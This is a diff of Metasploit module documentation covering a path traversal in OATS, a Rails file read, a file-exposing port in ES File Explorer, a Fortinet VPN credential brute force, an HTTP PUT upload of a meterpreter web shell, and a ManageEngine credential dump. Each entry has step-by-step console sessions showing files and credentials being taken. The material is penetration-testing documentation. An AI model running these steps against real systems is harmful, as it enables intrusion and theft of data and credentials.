- https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
- https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt
@@ -0,0 +1,79 @@
## Description
Oracle Application Testing Suite (OATS) is a comprehensive, integrated testing solution for web applications, web services, packaged Oracle applications, and Oracle databases. OATS is part of an application deployed in the WebLogic service on port 8088, which also includes these tools: Administrator, OpenScript, Oracle Load Testing, and Oracle Test Manager.
In the Load Testing component, a vulnerability was discovered by Steven Seeley (@mr_me) of Source Incite in the DownloadServlet class. According to the Source Incite advisory, the issue results from the lack of proper validation of a user-supplied string before using it to read a file. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Note that authentication is required.
This vulnerability is also known as CVE-2019-2557.
## Vulnerable Application
The following is the exact setup I used to test and analyze the vulnerability:
- Windows Server 2008 R2 x64 (other Windows systems are also supported)
- .Net Framework 3.5 enabled (from add/remove features)
- IE ESC (from Server Manager) disabled
- 8GB of RAM (at least more than 4GB will be used to run OATS)
- Duel-Core processor
- oats-win64-full-13.3.0.1.262.zip (x86 did not work for me)
- Jdk-7u21-windows-x64.exe
- OracleXE112_Win64.zip (Newer version 18c did not work well for me)
- Firefox (I had to install this because IE on Win2k8 is completely outdated)
- Adobe Flash installed (IE ESC needs to be disabled in order to install this)
For installation instructions, please refer to the Oracle Application Testing Suite Installation Guide.
## Notes
By default, your starting traversal path is:
```
C:\OracleATS\config\Report Templates\
```
There are some interesting files you can steal from this directory, such as:
* oats-config.xml
* oats-database-config.xml
* oats-keystore
Code execution is possible leveraging from this vulnerability if you target these files:
* C:\OracleATS\oats\servers\AdminServer\security\SerializedSystemIni.dat
* C:\OracleATS\oats\servers\AdminServer\security\boot.properties
After that, you can find a third party script to decrypt the credentials, and then you could
gain code execution from the administrator console.
## Credit
Special thanks to Steven Seeley to assist on the development of the Metasploit module.
## Scenarios
```
msf5 auxiliary(gather/oats_downloadservlet_traversal) > run
[*] Running module against 172.16.249.143
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<properties>
<entry key="oracle.oats.cluster.agent.username">oats-agent</entry>
<entry key="oracle.oats.security.keystore.info">eYAdfLaDkdBlUmflYhpg+CHGeXc=</entry>
<entry key="oracle.oats.cluster.username">oats</entry>
<entry key="oracle.oats.cluster.agent.password">{AES}WNdIPXpoeoZzyDNuJPm0wU4R3YKc1SUR2k5+TbQfzIQ=</entry>
<entry key="oracle.oats.admin.username">oats</entry>
<entry key="oracle.oats.http.url">http://localhost:8088</entry>
<entry key="oracle.oats.config.version">9.1.0</entry>
<entry key="oracle.oats.admin.password">{AES}NHrwlbPc7Arlb7puj+UlzAAXB/dUEbv3bdwNnee1/sc=</entry>
<entry key="oracle.oats.cluster.password">{AES}WMTjMmLChdB9CTSrnyJ33113u0ml0juuGZQCWPODJTk=</entry>
<entry key="oracle.oats.admin.url">t3://localhost:8088</entry>
<entry key="oracle.oats.tmp.dir">/tmp</entry>
<entry key="oracle.oats.cluster.url">t3://localhost:8088</entry>
</properties>
[*] Auxiliary module execution completed
msf5 auxiliary(gather/oats_downloadservlet_traversal) >
```
@@ -0,0 +1,76 @@
## Vulnerable Application
Ruby on Rails versions <= 5.2.2. The following example shows how to recreate the vulnerable environment on Linux:
https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/
## Verification Steps
1. Start a Rails server using a vulnerable version
2. Start msfconsole
3. Do: ```use auxiliary/gather/rails_doubletap_file_read```
4. Do: ```set ROUTE /your_route```
5. Do: ```set RHOSTS target```
6. Do: ```set TARGET_FILE /absolute/path/to/remote/file.txt```
7. Do: ```run```
8. If everything goes smoothly, you should get the contents of the remote file printed to the console.
## Options
**ROUTE**
This is a web path or "route" on the vulnerable server. Since the vulnerability lies within the PathResolver of Rails, the route should be in the server's routes.rb file.
**TARGET_FILE**
This is the file to be read on the remote server. This *must* be an absolute path (eg. /etc/passwd).
## Advanced Options
**SKIP_CHECK**
This options skips the initial vulnerability check and continues thinking the server is vulnerable.
## Scenarios
### Version of software and OS as applicable
```
msf5 > use auxiliary/gather/rails_doubletap_file_read
msf5 auxiliary(gather/rails_doubletap_file_read) > options
Module options (auxiliary/gather/rails_doubletap_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
ROUTE /msf yes A route on the vulnerable server.
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGET_FILE /etc/passwd yes The absolute path of remote file to read.
VHOST no HTTP server virtual host
msf5 auxiliary(gather/rails_doubletap_file_read) > set RHOSTS localhost
RHOSTS => localhost
msf5 auxiliary(gather/rails_doubletap_file_read) > set RPORT 8000
RPORT => 8000
smsf5 auxiliary(gather/rails_doubletap_file_read) > set ROUTE /demo
ROUTE => /demo
msf5 auxiliary(gather/rails_doubletap_file_read) > run
[*] Running module against 127.0.0.1
[+] Target is vulnerable!
[*] Requesting file /etc/passwd
[+] Response from server:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...snip...
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
postgres:x:105:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[*] Auxiliary module execution completed
```
@@ -0,0 +1,28 @@
This module provides a port of Daniel Mende's (released under the BSD license) gtp-scan.py utility. It brings the ability to scan for GPRS servers to Metasploit via sending GTP-U v1 and v2 echo requests.
## Vulnerable Application
Open-source GGSN implementations can be used as a target for this module as well as commercial GPRS gear. For information on one project suitable as a target, see [OsmoGGSN](https://osmocom.org/projects/openggsn/wiki/OsmoGGSN).
## Options
**The RPORT option**
This option can be changed to target GTP-U (2152) or GTP-C (2123), which both use the same packet type for echo probing.
## Scenarios
```
metasploit-framework (S:0 J:1) auxiliary(scanner/gprs/gtp_echo) > set RHOSTS 192.168.28.200-192.168.28.208
RHOSTS => 192.168.28.200-192.168.28.208
metasploit-framework (S:0 J:1) auxiliary(scanner/gprs/gtp_echo) > run
[*] [2019.04.22-16:38:27] Sending probes to 192.168.28.200->192.168.28.208 (9 hosts)
[+] [2019.04.22-16:38:42] GTP v1 echo response received from: 192.168.28.200:2152
[+] [2019.04.22-16:38:43] GTP v1 echo response received from: 192.168.28.201:2152
[+] [2019.04.22-16:38:43] GTP v1 echo response received from: 192.168.28.207:2152
[+] [2019.04.22-16:38:43] GTP v1 echo response received from: 192.168.28.208:2152
[*] [2019.04.22-16:38:43] Scanned 9 of 9 hosts (100% complete)
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:1) auxiliary(scanner/gprs/gtp_echo) >
```
@@ -0,0 +1,54 @@
## Description
This module will connect to a provided range of web severs and determine if directory listings are enabled on them.
## Vulnerable Application
This module has been verified against the web server listed below.
### Mock Vulnerable Server
These instructions will create a web sever using `apache` with directory listing vulnerability enabled on it.
#### Setup
1. Create the `.htaccess` file with the vulnerable configuration: `echo 'Options +Indexes' > /var/www/html/.htaccess`
2. Start the apache server `service apache2 start`.
#### Note
ake sure you dont have an `index.html` file in your `/var/www/html` for the vulnerability to work.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/dir_listing```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set THREADS [number of threads]```
4. Do: ```run```
## Scenarios
### Against the Mock server listed above
```
msf > use auxiliary/scanner/http/dir_listing
msf auxiliary(scanner/http/dir_listing) > set RHOSTS 1.1.1.10-14
RHOSTS => 1.1.1.10-14
msf auxiliary(scanner/http/dir_listing) > set THREADS 4
THREADS => 4
msf auxiliary(scanner/http/dir_listing) > set verbose true
verbose => true
msf auxiliary(scanner/http/dir_listing) > run
[-] The connection was refused by the remote host (1.1.1.13:80).
[*] NOT Vulnerable to directory listing http://1.1.1.13:80/
[-] The connection was refused by the remote host (1.1.1.12:80).
[*] NOT Vulnerable to directory listing http://1.1.1.12:80/
[*] NOT Vulnerable to directory listing http://1.1.1.11:80/
[*] Scanned 3 of 4 hosts (75% complete)
[+] Found Directory Listing http://1.1.1.14:80/
[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/dir_listing) >
```
@@ -0,0 +1,263 @@
## Vulnerable Application
ES File Explorer has an HTTP server that runs and accepts
certain commands. The HTTP server is started on app launch, and is
available as long as the app is open. ES File Explorer launches as
a service in the background on device boot. Version 4.1.9.7.4 and below
are reported vulnerable. This module has been tested against
[4.1.9.5.1](https://www.apkmirror.com/apk/es-global/es-file-explorer/es-file-explorer-4-1-9-5-1-release/).
This module includes all functionality from the original [POC](https://github.com/fs0c131y/ESFileExplorerOpenPortVuln)
except for the `getAppThumbnail` command.
Available actions:
* **APPLAUNCH** Launch an app. ACTIONITEM required.
* **GETDEVICEINFO** Get device info
* **GETFILE** Get a file from the device. ACTIONITEM required.
* **LISTAPPS** List all the apps installed
* **LISTAPPSALL** List all the apps installed
* **LISTAPPSPHONE** List all the phone apps installed
* **LISTAPPSSDCARD** List all the apk files stored on the sdcard
* **LISTAPPSSYSTEM** List all the system apps installed
* **LISTAUDIOS** List all the audio files
* **LISTFILES** List all the files on the sdcard
* **LISTPICS** List all the pictures
* **LISTVIDEOS** List all the videos
Not all of the information from the commands is printed to screen, however the origin JSON
content is stored in loot for reference.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use modules/auxiliary/scanner/http/es_file_explorer_open_port```
4. Do: ```run```
5. You should get device information
## Options
**ACTION**
The action to perform. See description in Vulnerable Application section for additional details. Default is `GETDEVICEINFO`.
**ACTIONITEM**
If running `APPLAUNCH` or `GETFILE`, this is the app to launch or file to download.
## Scenarios
### ES File Explorer 4.1.9.5.1 on a Dragon Touch Y88X on Android 4.4
```
resource (es.rb)> use modules/auxiliary/scanner/http/es_file_explorer_open_port
resource (es.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (es.rb)> set action GETDEVICEINFO
action => GETDEVICEINFO
resource (es.rb)> run
[+] 1.1.1.1:59777 - Name: Y88X
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (es.rb)> set action LISTFILES
action => LISTFILES
resource (es.rb)> run
[+] 1.1.1.1:59777
folder: bootloader (0.00 Bytes) - 3/23/2019 10:36:51 AM
folder: databk (0.00 Bytes) - 3/23/2019 10:36:49 AM
folder: sdcard (4.00 KB) - 3/23/2019 02:15:24 PM
folder: storage (0.00 Bytes) - 3/23/2019 10:36:49 AM
folder: config (0.00 Bytes) - 3/23/2019 10:36:49 AM
folder: cache (4.00 KB) - 3/24/2019 07:37:46 AM
folder: acct (0.00 Bytes) - 3/23/2019 10:36:49 AM
folder: vendor (4.00 KB) - 1/31/2015 05:56:49 AM
folder: d (0.00 Bytes) - 12/31/1969 07:00:00 PM
folder: etc (4.00 KB) - 2/3/2015 03:51:06 AM
folder: mnt (0.00 Bytes) - 3/23/2019 10:36:49 AM
file: ueventd.sun8i.rc (1.18 KB) - 12/31/1969 07:00:00 PM
file: ueventd.rc (3.93 KB) - 12/31/1969 07:00:00 PM
folder: system (4.00 KB) - 12/31/1969 07:00:00 PM
folder: sys (0.00 Bytes) - 3/23/2019 10:36:45 AM
file: sepolicy (73.82 KB) - 12/31/1969 07:00:00 PM
file: seapp_contexts (656.00 Bytes) - 12/31/1969 07:00:00 PM
folder: sbin (0.00 Bytes) - 12/31/1969 07:00:00 PM
folder: res (0.00 Bytes) - 12/31/1969 07:00:00 PM
file: property_contexts (2.11 KB) - 12/31/1969 07:00:00 PM
folder: proc (0.00 Bytes) - 12/31/1969 07:00:00 PM
file: nand.ko (1.47 MB) - 12/31/1969 07:00:00 PM
file: initlogo.rle (2.34 MB) - 12/31/1969 07:00:00 PM
file: init.usb.rc (3.82 KB) - 12/31/1969 07:00:00 PM
file: init.trace.rc (1.75 KB) - 12/31/1969 07:00:00 PM
file: init.sunxi.wifi.bt.rc (1010.00 Bytes) - 12/31/1969 07:00:00 PM
file: init.sun8i.usb.rc (3.40 KB) - 12/31/1969 07:00:00 PM
file: init.sun8i.rc (4.67 KB) - 12/31/1969 07:00:00 PM
file: init.recovery.sun8i.rc (97.00 Bytes) - 12/31/1969 07:00:00 PM
file: init.rc (23.12 KB) - 12/31/1969 07:00:00 PM
file: init.environ.rc (919.00 Bytes) - 12/31/1969 07:00:00 PM
file: init (183.40 KB) - 12/31/1969 07:00:00 PM
file: fstab.sun8i (1.64 KB) - 12/31/1969 07:00:00 PM
file: file_contexts (9.03 KB) - 12/31/1969 07:00:00 PM
file: default.prop (116.00 Bytes) - 12/31/1969 07:00:00 PM
folder: data (4.00 KB) - 3/23/2019 10:36:52 AM
file: charger (274.11 KB) - 12/31/1969 07:00:00 PM
folder: root (0.00 Bytes) - 1/31/2015 05:24:35 AM
folder: dev (2.62 KB) - 3/23/2019 10:37:14 AM
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (es.rb)> set action LISTVIDEOS
action => LISTVIDEOS
resource (es.rb)> run
[+] 1.1.1.1:59777
DragonTouch-text.mp4 (55.30 MB) - 1/20/1970 10:18:53 PM: /storage/emulated/0/Movies/DragonTouch-text.mp4
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (es.rb)> set action LISTAUDIOS
action => LISTAUDIOS
resource (es.rb)> run
[+] 1.1.1.1:59777
Calendar Notification.ogg (52.89 KB) - 8/6/2015 08:15:30 PM: /storage/emulated/0/Notifications/Calendar Notification.ogg
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (es.rb)> set action LISTAPPSSYSTEM
action => LISTAPPSSYSTEM
resource (es.rb)> run
[+] 1.1.1.1:59777
Package Access Helper (com.android.defcontainer) Version: 4.4.2-20150203
Launcher (com.android.launcher) Version: 4.4.2-20150203
Contacts (com.android.contacts) Version: 4.4.2-20150203
com.android.providers.partnerbookmarks (com.android.providers.partnerbookmarks) Version: 4.4.2-20150203
```
...snip...
```
Chrome (com.android.chrome) Version: 67.0.3396.87
Shell (com.android.shell) Version: 4.4.2-20150203
Google Contacts Sync (com.google.android.syncadapters.contacts) Version: 4.4.2-940549
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (es.rb)> set action LISTAPPSPHONE
action => LISTAPPSPHONE
resource (es.rb)> run
[+] 1.1.1.1:59777
Package Access Helper (com.android.defcontainer) Version: 4.4.2-20150203
Launcher (com.android.launcher) Version: 4.4.2-20150203
Contacts (com.android.contacts) Version: 4.4.2-20150203
com.android.providers.partnerbookmarks (com.android.providers.partnerbookmarks) Version: 4.4.2-20150203
Mobile Data (com.android.phone) Version: 4.4.2-20150203
Calculator (com.android.calculator2) Version: 4.4.2-20150203
```
...snip...
```
Calendar (com.google.android.calendar) Version: 5.8.28-195646716-release
Face Unlock (com.android.facelock) Version: 4.4.2-940549
Chrome (com.android.chrome) Version: 67.0.3396.87
Shell (com.android.shell) Version: 4.4.2-20150203
Google Contacts Sync (com.google.android.syncadapters.contacts) Version: 4.4.2-940549
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (es.rb)> set action LISTAPPSSDCARD
action => LISTAPPSSDCARD
resource (es.rb)> run
[+] 1.1.1.1:59777
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (es.rb)> set action LISTAPPSALL
action => LISTAPPSALL
resource (es.rb)> run
[+] 1.1.1.1:59777
Package Access Helper (com.android.defcontainer) Version: 4.4.2-20150203
Launcher (com.android.launcher) Version: 4.4.2-20150203
Contacts (com.android.contacts) Version: 4.4.2-20150203
```
...snip...
```
com.android.keyguard (com.android.keyguard) Version: 4.4.2-20150203
Calendar (com.google.android.calendar) Version: 5.8.28-195646716-release
Face Unlock (com.android.facelock) Version: 4.4.2-940549
Chrome (com.android.chrome) Version: 67.0.3396.87
Shell (com.android.shell) Version: 4.4.2-20150203
Google Contacts Sync (com.google.android.syncadapters.contacts) Version: 4.4.2-940549
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (es.rb)> set action LISTPICS
action => LISTPICS
resource (es.rb)> run
[+] 1.1.1.1:59777
IMG_20190323_165608.jpg (140.06 KB) - 3/23/2019 04:56:08 PM: /storage/emulated/0/DCIM/Camera/IMG_20190323_165608.jpg
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (es.rb)> set action GETFILE
action => GETFILE
resource (es.rb)> set actionitem /storage/emulated/0/DCIM/Camera/IMG_20190323_165608.jpg
actionitem => /storage/emulated/0/DCIM/Camera/IMG_20190323_165608.jpg
resource (es.rb)> run
[+] 1.1.1.1:59777 - /storage/emulated/0/DCIM/Camera/IMG_20190323_165608.jpg saved to /root/.msf4/loot/20190324073855_default_1.1.1.1_getFile_670725.jpg
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (es.rb)> set action LISTAPPS
action => LISTAPPS
resource (es.rb)> run
[+] 1.1.1.1:59777
TalkBack (com.google.android.marvin.talkback) Version: 5.0.7
Google Play services (com.google.android.gms) Version: 12.6.85 (000302-197041431)
Phone (com.andriod.phone) Version: 1.0
Google Play Music (com.google.android.music) Version: 8.12.7210-1.F
Google Text-to-speech Engine (com.google.android.tts) Version: 3.15.18.200023596
Cloud Print (com.google.android.apps.cloudprint) Version: 1.40
com.softwinner.videotest (com.softwinner.videotest) Version: 1.0
APUS (com.apusapps.launcher) Version: 2.3.1
Settings (com.android.system.io.settings) Version: 11.1.0
DragonPhone (com.softwinner.dragonphone) Version: 1.0
com.mediatek.touch (com.mediatek.touch) Version: 21_zh80001
Google Play Store (com.android.vending) Version: 13.9.17-all [0] [PR] 236777123
com.android.google.settings (com.android.google.settings) Version: 17_zh10317
MainActivity (com.metasploit.stage) Version: 1.0
Gmail (com.google.android.gm) Version: 8.6.3.200445973.release
L-Uninstall (com.clear.uninstall) Version: 2.0
ES File Explorer (com.estrongs.android.pop) Version: 4.1.9.5.1
DragonFire-v2.3 (com.softwinner.dragonfire) Version: 2.3 release
YouTube (com.google.android.youtube) Version: 13.23.59
Calendar (com.google.android.calendar) Version: 5.8.28-195646716-release
Chrome (com.android.chrome) Version: 67.0.3396.87
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (es.rb)> set action APPLAUNCH
action => APPLAUNCH
resource (es.rb)> set actionitem com.android.chrome
actionitem => com.android.chrome
resource (es.rb)> run
[+] 1.1.1.1:59777 - com.android.chrome launched successfully
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (es.rb)> loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
1.1.1.1 getDeviceInfo.json es_file_explorer_getdeviceinfo.json application/json /root/.msf4/loot/20190324073803_default_1.1.1.1_getDeviceInfo.js_744272.bin
1.1.1.1 listFiles.json es_file_explorer_listfiles.json application/json /root/.msf4/loot/20190324073803_default_1.1.1.1_listFiles.json_522563.bin
1.1.1.1 listVideos.json es_file_explorer_listvideos.json application/json /root/.msf4/loot/20190324073803_default_1.1.1.1_listVideos.json_623335.bin
1.1.1.1 listAudio.json es_file_explorer_listaudio.json application/json /root/.msf4/loot/20190324073803_default_1.1.1.1_listAudio.json_331531.bin
1.1.1.1 listAppsSystem.json es_file_explorer_listappssystem.json application/json /root/.msf4/loot/20190324073821_default_1.1.1.1_listAppsSystem.j_581712.bin
1.1.1.1 listAppsPhone.json es_file_explorer_listappsphone.json application/json /root/.msf4/loot/20190324073838_default_1.1.1.1_listAppsPhone.js_773512.bin
1.1.1.1 listAppsSdcard.json es_file_explorer_listappssdcard.json application/json /root/.msf4/loot/20190324073838_default_1.1.1.1_listAppsSdcard.j_543396.bin
1.1.1.1 listAppsAll.json es_file_explorer_listappsall.json application/json /root/.msf4/loot/20190324073854_default_1.1.1.1_listAppsAll.json_886297.bin
1.1.1.1 listPics.json es_file_explorer_listpics.json application/json /root/.msf4/loot/20190324073855_default_1.1.1.1_listPics.json_831055.bin
1.1.1.1 getFile /storage/emulated/0/DCIM/Camera/IMG_20190323_165608.jpg application/octet-stream /root/.msf4/loot/20190324073855_default_1.1.1.1_getFile_670725.jpg
1.1.1.1 listApps.json es_file_explorer_listapps.json application/json /root/.msf4/loot/20190324073856_default_1.1.1.1_listApps.json_189709.bin
```
@@ -0,0 +1,40 @@
This module tests credentials on Fortinet SSL VPN servers (FortiGate).
NOTE: This module is only executing when Fortinet SSL VPN Server is detected.
When the server cannot be verified the module stops working.
The realm/domain is used for every request when set.
The module supports IPv6 requests.
The module supports several hosts at the same time.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/fortinet_ssl_vpn```
2. Do: ```set RHOSTS [IP]```
3. Configure a user and password list by setting either `USERNAME`, `PASSWORD`, `USER_FILE`, or `PASS_FILE`.
4. Do: ```run```
## Scenarios
IP-Addresses have been masked with x
```
msf5 auxiliary(scanner/http/fortinet_ssl_vpn) > run
[+] xxxx:xxxx:xxxx:xxxx::4:443 - Server is responsive...
[+] xxxx:xxxx:xxxx:xxxx::4:443 - Application appears to be Fortinet SSL VPN. Module will continue.
[*] xxxx:xxxx:xxxx:xxxx::4:443 - Starting login brute force...
[*] xxxx:xxxx:xxxx:xxxx::4:443 - [1/1] - Trying username:"testuser" with password:"superpass"
[+] SUCCESSFUL LOGIN - "testuser":"superpass"
[!] No active DB -- Credential data will not be saved!
[*] Scanned 1 of 2 hosts (50% complete)
[+] xxx.xxx.xxx.xxx:443 - [1/1] - Server is responsive...
[+] xxx.xxx.xxx.xxx:443 - [1/1] - Application appears to be Fortinet SSL VPN. Module will continue.
[*] xxx.xxx.xxx.xxx:443 - [1/1] - Starting login brute force...
[*] xxx.xxx.xxx.xxx:443 - [1/1] - Trying username:"testuser" with password:"superpass"
[+] SUCCESSFUL LOGIN - "testuser":"superpass"
[!] No active DB -- Credential data will not be saved!
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,60 @@
## Description
This module can abuse misconfigured web servers to upload and delete web content via PUT and DELETE HTTP requests.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/http_put```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```set PATH [PATH]```
5. Do: ```set FILENAME [FILNAME]```
6. Do: ```set FILEDATA [PATH]```
7. Do: ```run```
## Options
### ACTION
Set `ACTION` to either `PUT` or `DELETE`. (Default: `PUT`)
**PUT**
Action is set to PUT to upload files to the server. If `FILENAME` isn't specified, the module will generate a random string as a .txt file.
**DELETE**
Deletes the file specified in the `FILENAME` option (Default: `msf_http_put_test.txt`). `FILENAME` is required when Action is set to DELETE.
### PATH
The path at which this module will attempt to either PUT the content or DELETE it.
### FILEDATA
The content to put in the uploaded file when `ACTION` is set to `PUT`.
## Scenarios
Here `ACTION` is by default set to `PUT`.
```
msf > use auxiliary/scanner/http/http_put
msf auxiliary(scanner/http/http_put) > set RHOSTS 1.1.1.23
RHOSTS => 1.1.1.23
msf auxiliary(scanner/http/http_put) > set RPORT 8585
RPORT => 8585
msf auxiliary(scanner/http/http_put) > set PATH /uploads
PATH => /uploads
msf auxiliary(scanner/http/http_put) > set FILENAME meterpreter.php
FILENAME => meterpreter.php
msf auxiliary(scanner/http/http_put) > set FILEDATA file://root/Desktop/meterpreter.php
FILEDATA => file://root/Desktop/meterpreter.php
msf auxiliary(scanner/http/http_put) > run
[+] File uploaded: http://1.1.1.23:8585/uploads/meterpreter.php
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/http_put) >
```
@@ -0,0 +1,20 @@
## Description
This module scans a JBoss instance for a few vulnerabilities.
## Vulnerable Software
The JBoss Enterprise Application Platform (or JBoss EAP) is a
subscription-based/open-source Java EE-based application
server runtime platform used for building, deploying, and
hosting highly-transactional Java applications and services
This module has been successfully tested on:
* Apache-Coyote/1.1 ( Powered by Servlet 2.4; JBoss-4.2.0.GA (build: SVNTag=JBoss_4_2_0_GA date=200705111440)/Tomcat-5.5 )
## Verification Steps
1. Do: ```use auxiliary/scanner/http/jboss_vulnscan```
2. Do: ```set RHOSTS [IP]```
3. Do: ```run```
@@ -0,0 +1,62 @@
## Decription
This module extracts usernames and salted MD5 password hashes
from ManageEngine DeviceExpert version 5.9 build 5980 and prior.
## Vulnerable Software
[DeviceExpert](http://www.manageengine.com/products/device-expert) is a
webbased, multi-vendor network configuration and change management (NCCM)
solution for switches, routers, firewalls and other network devices.
This module has been tested successfully on DeviceExpert
version 5.9.7 build 5970 on Windows XP SP3.
Software download:
* [5.8 build 5850](http://web.archive.org/web/20130123070454/http://www.manageengine.com/products/device-expert/download.html)
* [5.9 build 5900](http://web.archive.org/web/20130304043822/http://www.manageengine.com/products/device-expert/download.html)
* [5.9 build 5950](http://web.archive.org/web/20131029082827/http://www.manageengine.com/products/device-expert/download.html)
## Verification Steps
1. Do: ```use auxiliary/scanner/http/manageengine_deviceexpert_user_creds```
2. Do: ```set RHOSTS [IP]```
3. Do: ```run```
4. You should receive usernames and associated password hashes + salts
## Scenarios
```
msf5 > use auxiliary/scanner/http/manageengine_deviceexpert_user_creds
msf5 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > set rhosts 172.16.158.131
rhosts => 172.16.158.131
msf5 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > check
[+] 172.16.158.131:6060 - The target is vulnerable.
[*] Checked 1 of 1 hosts (100% complete)
msf5 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > run
[*] 172.16.158.131:6060 - Found weak credentials (admin:admin)
ManageEngine DeviceExpert User Credentials
==========================================
Username Password Password Hash Role E-mail Password Salt
-------- -------- ------------- ---- ------ -------------
admin admin 3a4ebf16a4795ad258e5408bae7be341 Administrator noreply@zohocorp.com 12345678
[*] Credentials saved in: /Users/jvazquez/.msf4/loot/20140926165907_default_172.16.158.131_manageengine.dev_118155.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > creds 172.16.158.131
Credentials
===========
host service public private realm private_type
---- ------- ------ ------- ----- ------------
172.16.158.131 6060/tcp (https) admin admin Password
```

Some files were not shown because too many files have changed in this diff Show More